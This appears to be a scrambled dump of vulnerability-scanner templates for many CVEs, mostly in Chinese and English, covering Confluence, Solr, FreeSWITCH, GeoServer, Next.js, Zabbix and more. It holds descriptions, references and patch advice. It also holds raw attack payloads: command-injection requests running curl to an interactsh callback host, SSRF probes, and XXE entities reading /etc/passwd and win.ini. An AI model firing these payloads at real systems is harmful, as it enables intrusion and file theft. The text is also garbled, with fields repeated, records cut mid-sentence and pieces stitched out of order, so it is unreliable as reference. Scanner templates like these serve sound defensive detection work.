reference:     - "https://github.com/wy876/POC/blob/af376b2a7135eeb57a5abbb4dc2f9b59b90cbd43/Atlassian%20Confluence%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2023-22527).md"   metadata:

- "https://github.com/wy876/POC/blob/af376b2a7135eeb57a5abbb4dc2f9b59b90cbd43/Atlassian%20Confluence%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2023-22527).md"

fingerprint: 360天擎终端安全管理系统     publish_time: "2024-01-16"     bug_solve: 关注厂商官网：https://www.qianxin.com/获取补丁或更新版本。

publish_time: "2024-01-16"     bug_solve: 关注厂商官网：https://www.qianxin.com/获取补丁或更新版本。     bug_web: https://www.qianxin.com/

bug_solve: 关注厂商官网：https://www.qianxin.com/获取补丁或更新版本。

bug_web: https://www.qianxin.com/

description: 傲发办公通信专家 Checkingin.ashx 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 此漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。   reference:     - "https://mp.weixin.qq.com/s/yXhs5qLmTSRkKQzmI1nm5w"

reference:     - "https://mp.weixin.qq.com/s/yXhs5qLmTSRkKQzmI1nm5w"   metadata:

- "https://mp.weixin.qq.com/s/yXhs5qLmTSRkKQzmI1nm5w"

fingerprint: "傲发办公通信专家系统"     publish_time: "2025-09-08"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: http://www.aofax11.com/；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"

publish_time: "2025-09-08"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: http://www.aofax11.com/；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"     bug_web: "http://www.aofax11.com"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url: http://www.aofax11.com/；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"

bug_web: "http://www.aofax11.com"

Alibaba Nacos has an authentication bypass vulnerability due to improper handling of the User-Agent header. By setting User-Agent to 'Nacos-Server', attackers can perform arbitrary operations including creating new users and accessing admin

reference:     - https://github.com/chaitin/xray/blob/master/pocs/alibaba-nacos-v1-auth-bypass.yml     - https://blog.csdn.net/zy15667076526/article/details/116298345

- https://github.com/chaitin/xray/blob/master/pocs/alibaba-nacos-v1-auth-bypass.yml

- https://blog.csdn.net/zy15667076526/article/details/116298345

Anheng Minyu WEB Application Firewall has an arbitrary user login vulnerability via the /report.m endpoint. Attackers can log in to the admin panel without credentials and execute remote commands.   reference:     - https://github.com/PeiQi

reference:     - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/1a8f82100592eba10a7f6086f18fb67a4806c657/docs/wiki/iot/%E5%AE%89%E6%81%92/%E5%AE%89%E6%81%92%20%E6%98%8E%E5%BE%A1WEB%E5%BA%94%E7%94%A8%E9%98%B2%E7%81%AB%E5%A2%99%20report.php%2

- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/1a8f82100592eba10a7f6086f18fb67a4806c657/docs/wiki/iot/%E5%AE%89%E6%81%92/%E5%AE%89%E6%81%92%20%E6%98%8E%E5%BE%A1WEB%E5%BA%94%E7%94%A8%E9%98%B2%E7%81%AB%E5%A2%99%20report.php%20%E4%BB%BB%E6%8

description: Apache Solr的replication接口存在参数过滤不严格的问题，在未开启认证的情况下，攻击者可构造特定请求造成SSRF漏洞。   reference:     - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-914

reference:     - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-914     - https://www.anquanke.com/post/id=238201

- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-914

- https://www.anquanke.com/post/id=238201

- raw:       - |         GET /solr/{{core_name}}/replication/?command=fetchindex&masterUrl=http://{{interactsh-url}} HTTP/1.1

- |         GET /solr/{{core_name}}/replication/?command=fetchindex&masterUrl=http://{{interactsh-url}} HTTP/1.1         Host: {{Hostname}}

GET /solr/{{core_name}}/replication/?command=fetchindex&masterUrl=http://{{interactsh-url}} HTTP/1.1

Apache ActiveMQ allows remote code execution via the Jolokia JMX-HTTP bridge. Attackers can call addNetworkConnector or addConnector methods with a malicious brokerConfig parameter to load remote Spring XML configuration files via ResourceX

reference:     - https://activemq.apache.org/   classification:

- https://activemq.apache.org/

publish_time: 2021-04-23     dangers_type: 任意文件读取     bug_solve: 目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页随时更新：https://solr.apache.org/

dangers_type: 任意文件读取     bug_solve: 目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页随时更新：https://solr.apache.org/     bug_web: https://solr.apache.org/

bug_solve: 目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页随时更新：https://solr.apache.org/

bug_web: https://solr.apache.org/

Apache Solr is an open source search service built on Apache Lucene. It is vulnerable to JNDI injection (CVE-2021-44228) which can lead to remote code execution.   reference:     - https://www.cve.org/CVERecord?id=CVE-2021-44228

reference:     - https://www.cve.org/CVERecord?id=CVE-2021-44228     - https://nvd.nist.gov/vuln/detail/CVE-2021-44228

- https://www.cve.org/CVERecord?id=CVE-2021-44228

- https://nvd.nist.gov/vuln/detail/CVE-2021-44228

dangers_type: 文件上传     bug_solve: 联系厂商升级至最新版。     bug_web: https://www.ava.com.cn/

bug_solve: 联系厂商升级至最新版。     bug_web: https://www.ava.com.cn/     CNNVD_number:

bug_web: https://www.ava.com.cn/

fingerprint: '用友畅捷通T+'     publish_time: "2026-03-23"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.chanjet.com/；2、关闭互联网访问权限或限制页面访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

publish_time: "2026-03-23"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.chanjet.com/；2、关闭互联网访问权限或限制页面访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"     bug_web: "https://www.chanjet.com/"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.chanjet.com/；2、关闭互联网访问权限或限制页面访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

bug_web: "https://www.chanjet.com/"

fingerprint: '用友畅捷通T+'     publish_time: "2026-03-31"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.chanjet.com/；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"

publish_time: "2026-03-31"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.chanjet.com/；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"     bug_web: "https://www.chanjet.com/"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.chanjet.com/；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"

bug_web: "https://www.chanjet.com/"

description: Sunflower Simple and Personal is susceptible to a remote code execution vulnerability.   reference:     - https://www.1024sou.com/article/741374.html

reference:     - https://www.1024sou.com/article/741374.html     - https://copyfuture.com/blogs-details/202202192249158884

- https://www.1024sou.com/article/741374.html

- https://copyfuture.com/blogs-details/202202192249158884

- https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270

- https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672

多款Red Hat产品存在安全漏洞。远程攻击者可借助特制的序列化Java对象利用该漏洞执行任意命令。以下产品和版本受到影响：Red Hat JBoss A-MQ 6.x版本；BPM Suite (BPMS) 6.x版本；BRMS 6.x版本和5.x版本；Data Grid (JDG) 6.x版本；Data Virtualization (JDV) 6.x版本和5.x版本；Enterprise Application Platform 6.x版本，5.x版本和4.3.x版本；F

reference:     - https://mp.weixin.qq.com/s/-g4iWOZkVM0tYRsAohyqKw   metadata:

- https://mp.weixin.qq.com/s/-g4iWOZkVM0tYRsAohyqKw

publish_time: "2015-12-03"     dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本：https://access.redhat.com"

dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本：https://access.redhat.com"     bug_web: "https://access.redhat.com/"

bug_solve: "联系厂商打补丁或升级版本：https://access.redhat.com"

bug_web: "https://access.redhat.com/"

description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.   reference:     - https://www.elttam.com/blog/goahead/

reference:     - https://www.elttam.com/blog/goahead/     - https://github.com/ivanitlearning/CVE-2017-17562

- https://www.elttam.com/blog/goahead/

- https://github.com/ivanitlearning/CVE-2017-17562

- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562

- https://github.com/embedthis/goahead/issues/249

- https://nvd.nist.gov/vuln/detail/CVE-2017-17562

description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V

reference:     - http://www.hikvision.com/us/about_10805.html     - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01

- http://www.hikvision.com/us/about_10805.html

- https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01

- https://nvd.nist.gov/vuln/detail/CVE-2017-7921

- https://ghostbin.com/paste/q2vq2

potentially be able to use CGI variables to execute remote code.   reference:     - https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf

reference:     - https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf     - https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py

- https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf

- https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py

- https://nvd.nist.gov/vuln/detail/CVE-2018-1207

- http://en.community.dell.com/techcenter/extras/m/white_papers/20485410

- https://twitter.com/nicowaisman/status/977279766792466432

FreeSWITCH 1.8.2 and earlier contains a command injection vulnerability in the mod_xml_rpc module. Remote attackers can execute arbitrary commands via the api/system, txtapi/system, api/bg_system, or txtapi/bg_system query strings on TCP po

reference:     - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2018-19911     - https://nvd.nist.gov/vuln/detail/CVE-2018-19911

- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2018-19911

- https://nvd.nist.gov/vuln/detail/CVE-2018-19911

- raw:       - |         GET /api/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

- |         GET /api/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1         Host: {{Hostname}}

GET /api/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

- |         GET /txtapi/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

GET /txtapi/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

- |         GET /api/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

GET /api/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

- |         GET /txtapi/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

GET /txtapi/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1

SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection (XXE) vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due 

reference:     - https://launchpad.support.sap.com/#/notes/2525222     - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/

- https://launchpad.support.sap.com/#/notes/2525222

- https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/

- https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/

- https://troopers.de/troopers18/agenda/3r38lr/

- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb

- https://nvd.nist.gov/vuln/detail/CVE-2018-2392

Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.   reference:     - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-

reference:     - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569     - https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/

- https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569

- https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/

- https://bugzilla.redhat.com/show_bug.cgi?id=1746945

- https://aaron-hoffmann.com/posts/cve-2019-15043/

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043

- https://nvd.nist.gov/vuln/detail/CVE-2019-15043

The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network acc

reference:     - https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883

- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883

- https://www.oracle.com/security-alerts/cpuoct2020.html

- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html

description: Kyocera Printer d-COPIA253MF plus is susceptible to a directory traversal vulnerability which could allow an attacker to retrieve or view arbitrary files from the affected server.   reference:     - https://www.exploit-db.com/e

reference:     - https://www.exploit-db.com/exploits/48561     - https://nvd.nist.gov/vuln/detail/CVE-2020-23575

- https://www.exploit-db.com/exploits/48561

- https://nvd.nist.gov/vuln/detail/CVE-2020-23575

- https://www.kyoceradocumentsolutions.com.tr/tr.html

description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.   reference:     - https://phabricato

reference:     - https://phabricator.wikimedia.org/T274736     - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/

- https://phabricator.wikimedia.org/T274736

- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/

- https://nvd.nist.gov/vuln/detail/CVE-2021-27358

- https://github.com/grafana/grafana/blob/master/CHANGELOG.md

- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17

description: Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.   reference:     - https://github.com/dorkerdevil/CVE-20

reference:     - https://github.com/dorkerdevil/CVE-2021-33044     - https://nvd.nist.gov/vuln/detail/CVE-2021-33044

- https://github.com/dorkerdevil/CVE-2021-33044

- https://nvd.nist.gov/vuln/detail/CVE-2021-33044

- https://seclists.org/fulldisclosure/2021/Oct/13

- https://www.dahuasecurity.com/support/cybersecurity/details/957

An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.   reference:     - https://github.com/jeecgboot/jeecg-boot/iss

reference:     - https://github.com/jeecgboot/jeecg-boot/issues/2793     - https://nvd.nist.gov/vuln/detail/CVE-2021-37304

- https://github.com/jeecgboot/jeecg-boot/issues/2793

- https://nvd.nist.gov/vuln/detail/CVE-2021-37304

Jeecg Boot <= 2.4.5 API interface has unauthorized access and leaks sensitive information such as email,phone and Enumerate usernames that exist in the system.   reference:     - https://github.com/jeecgboot/jeecg-boot/issues/2794

reference:     - https://github.com/jeecgboot/jeecg-boot/issues/2794     - https://nvd.nist.gov/vuln/detail/CVE-2021-37305

- https://github.com/jeecgboot/jeecg-boot/issues/2794

- https://nvd.nist.gov/vuln/detail/CVE-2021-37305

description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snap

reference:     - https://github.com/advisories/GHSA-69j6-29vr-p3j9     - https://nvd.nist.gov/vuln/detail/CVE-2021-39226

- https://github.com/advisories/GHSA-69j6-29vr-p3j9

- https://nvd.nist.gov/vuln/detail/CVE-2021-39226

- https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269

- https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/

- http://www.openwall.com/lists/oss-security/2021/10/05/4

description: GitLab CE/EE is susceptible to information disclosure. An attacker can access runner registration tokens using quick actions commands, thereby making it possible to obtain sensitive information, modify data, and/or execute unau

reference:     - https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/cve-hash-harvester     - https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-0735.json

- https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/cve-hash-harvester

- https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-0735.json

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0735

- https://nvd.nist.gov/vuln/detail/cve-2022-0735

remediation: 1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z.

reference:     - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html     - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx

- https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html

- https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx

- https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb

- https://nvd.nist.gov/vuln/detail/CVE-2022-24816

- https://github.com/tanjiti/sec_profile

<?xml version="1.0" encoding="UTF-8"?>           <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="htt

<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://

description: Jenkins Git plugin through 4.11.3 contains a missing authorization check. An attacker can trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit

reference:     - https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883

- https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883

- https://nvd.nist.gov/vuln/detail/CVE-2022-36883

- http://www.openwall.com/lists/oss-security/2022/07/27/1

[Credential-related source omitted]

[Credential-related source omitted]

reference:     - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q     - https://github.com/minio/minio/pull/16853/files

- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

- https://github.com/minio/minio/pull/16853/files

- https://github.com/golang/vulndb/issues/1667

- https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json

- https://nvd.nist.gov/vuln/detail/CVE-2023-28432

Apache Solr 9.0.0至9.3.0之前版本存在信息泄露漏洞，该漏洞源于存在敏感信息泄露漏洞。   reference:     - https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables

reference:     - https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables      - https://cxsecurity.com/cveshow/CVE-2023-50290/

- https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables

- https://cxsecurity.com/cveshow/CVE-2023-50290/

dangers_type: "信息泄露"     bug_solve: "官方已发布安全更新，建议升级至最新版本。  "     bug_web: "https://solr.apache.org/"

bug_solve: "官方已发布安全更新，建议升级至最新版本。  "     bug_web: "https://solr.apache.org/"     CNNVD_number: "CNNVD-202401-1254 "

bug_web: "https://solr.apache.org/"

ZEIT Next.js is an open source Web application framework based on Vue.js, Node.js, Webpack and Babel.js. Versions 13.4 through 14.1.1 contain a server-side request forgery (SSRF) vulnerability in the image optimization feature that allows a

reference:     - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2024-34351     - https://nvd.nist.gov/vuln/detail/CVE-2024-34351

- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2024-34351

- https://nvd.nist.gov/vuln/detail/CVE-2024-34351

- raw:       - |         GET /_next/image?w=16&q=10&url=http://{{interactsh-url}} HTTP/1.1

- |         GET /_next/image?w=16&q=10&url=http://{{interactsh-url}} HTTP/1.1         Host: {{Hostname}}

GET /_next/image?w=16&q=10&url=http://{{interactsh-url}} HTTP/1.1

Zabbix 存在 SQL 注入漏洞（CVE-2024-42327），该漏洞是由于在 Zabbix前端的CUser类中的addRelatedObjects函数未对输入数据进行充分验证和转义，导致具有API访问权限的恶意用户可以通过user.get API传递特制输入触发SQL注入攻击，进而利用该漏洞实现权限提升或访问敏感数据。   reference:     - https://mp.weixin.qq.com/s/njqzidZANrWkYyrpZ8Z1og

reference:     - https://mp.weixin.qq.com/s/njqzidZANrWkYyrpZ8Z1og   metadata:

- https://mp.weixin.qq.com/s/njqzidZANrWkYyrpZ8Z1og

publish_time: "2024-11-29"     dangers_type: "SQL注入"     bug_solve: "目前官方已发布新版本修复该漏洞，建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。官网地址：https://www.zabbix.com/download"

dangers_type: "SQL注入"     bug_solve: "目前官方已发布新版本修复该漏洞，建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。官网地址：https://www.zabbix.com/download"     bug_web: "https://www.zabbix.com"

bug_solve: "目前官方已发布新版本修复该漏洞，建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。官网地址：https://www.zabbix.com/download"

bug_web: "https://www.zabbix.com"

GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer contains a code problem vulnerability due to improper handling of XML external entities (XXE), which could lead to in

reference:     - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2025-30220   classification:

- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2025-30220

<wfs:GetFeature service="WFS" version="1.0.0"         xmlns:wfs="http://www.opengis.net/wfs"

xmlns:wfs="http://www.opengis.net/wfs"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:topp="http://www.openplans.org/topp"

xsi:schemaLocation="http://a http://{{interactsh-url}}"

publish_time: "2025-04-07"     dangers_type: "任意文件读取"     bug_solve: "1、目前官方已发布安全更新，建议用户尽快升级至最新版本：https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x"

dangers_type: "任意文件读取"     bug_solve: "1、目前官方已发布安全更新，建议用户尽快升级至最新版本：https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x"     bug_web: "https://github.com/vitejs/vite"

bug_solve: "1、目前官方已发布安全更新，建议用户尽快升级至最新版本：https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x"

bug_web: "https://github.com/vitejs/vite"

description: Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。Grafana存在安全漏洞，该漏洞源于Grafana Alerting DingDing集成保护不足，可能导致Viewer权限用户访问敏感信息。   reference:     - "https://vip.bdziyi.com/58352/"

reference:     - "https://vip.bdziyi.com/58352/"   metadata:

- "https://vip.bdziyi.com/58352/"

fingerprint: "Grafana"     publish_time: "2025-07-18"     bug_solve: "厂商已发布安全补丁，请受影响的用户及时升级版本：https://grafana.com/security/security-advisories/cve-2025-3415/"

publish_time: "2025-07-18"     bug_solve: "厂商已发布安全补丁，请受影响的用户及时升级版本：https://grafana.com/security/security-advisories/cve-2025-3415/"     bug_web: "https://grafana.com/"

bug_solve: "厂商已发布安全补丁，请受影响的用户及时升级版本：https://grafana.com/security/security-advisories/cve-2025-3415/"

bug_web: "https://grafana.com/"

description: React Server Components中的远程代码执行漏洞。该漏洞源于React在处理客户端发送的请求时，反序列化机制存在缺陷。React将客户端请求转为HTTP请求并转发至服务器，之后在服务器端将HTTP请求反序列化为函数调用。攻击者可通过构造恶意HTTP请求，利用该反序列化缺陷，在服务器端执行任意代码，从而触发远程代码执行风险。   reference:     - "https://react.dev/blog/2025/12/03/c

reference:     - "https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/"   metadata:

- "https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/"

fingerprint: "React Server Components"     publish_time: "2025-12-04"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/；2、关闭互联网访问权限或限制页面访问权限。"

publish_time: "2025-12-04"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/；2、关闭互联网访问权限或限制页面访问权限。"     bug_web: "https://react.dev"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/；2、关闭互联网访问权限或限制页面访问权限。"

bug_web: "https://react.dev"

description: GeoServer是一款开源的服务器，用于共享和编辑地理空间数据。它支持多种地图和数据标准，如WMS、WFS、WCS等，广泛应用于地理信息系统（GIS）领域，帮助用户发布和管理地理数据。GeoServer XML外部实体注入漏洞(CVE-2025-58360)，该漏洞源于 /geoserver/wms 端点的 GetMap 操作在接收 XML 请求时未对外部实体引用进行充分限制。攻击者可以利用该漏洞，通过构造恶意的 XML 数据注入外部实体，从而读取

reference:     - "https://mp.weixin.qq.com/s/Rr9hAlfC_1GsHxSYGXwaJQ"   metadata:

- "https://mp.weixin.qq.com/s/Rr9hAlfC_1GsHxSYGXwaJQ"

fingerprint: "GeoServer"     publish_time: "2025-11-26"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://geoserver.org/?lang=zh-cn；2、关闭互联网访问权限或限制页面访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

publish_time: "2025-11-26"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://geoserver.org/?lang=zh-cn；2、关闭互联网访问权限或限制页面访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"     bug_web: "https://geoserver.org/?lang=zh-cn"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://geoserver.org/?lang=zh-cn；2、关闭互联网访问权限或限制页面访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

bug_web: "https://geoserver.org/?lang=zh-cn"

<!ENTITY xxe SYSTEM "file:///etc/passwd">         ]>         <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">

]>         <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">           <NamedLayer>

<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">         ]>         <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">

]>         <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">           <NamedLayer>

<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">

description: Nginx UI 是一款基于Go语言开发的开源Web管理界面，旨在为Nginx服务器提供图形化配置管理、SSL证书维护及日志查看等功能。该工具通过可视化界面简化了Nginx的配置与运维管理。在 2.3.3版本之前，Nginx UI存在一处严重的安全设计缺陷：/api/backup接口未配置任何身份认证中间件，且在处理备份请求时，将AES-256加密密钥及初始化向量（IV）直接明文写入HTTP响应头 X-Backup-Security中返回给客户端。 

reference:     - "https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2026-27944"   metadata:

- "https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2026-27944"

fingerprint: 'Nginx UI'     publish_time: "2026-03-06"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://github.com/0xJacky/nginx-ui/releases；2、关闭互联网访问权限或限制页面访问权限。"

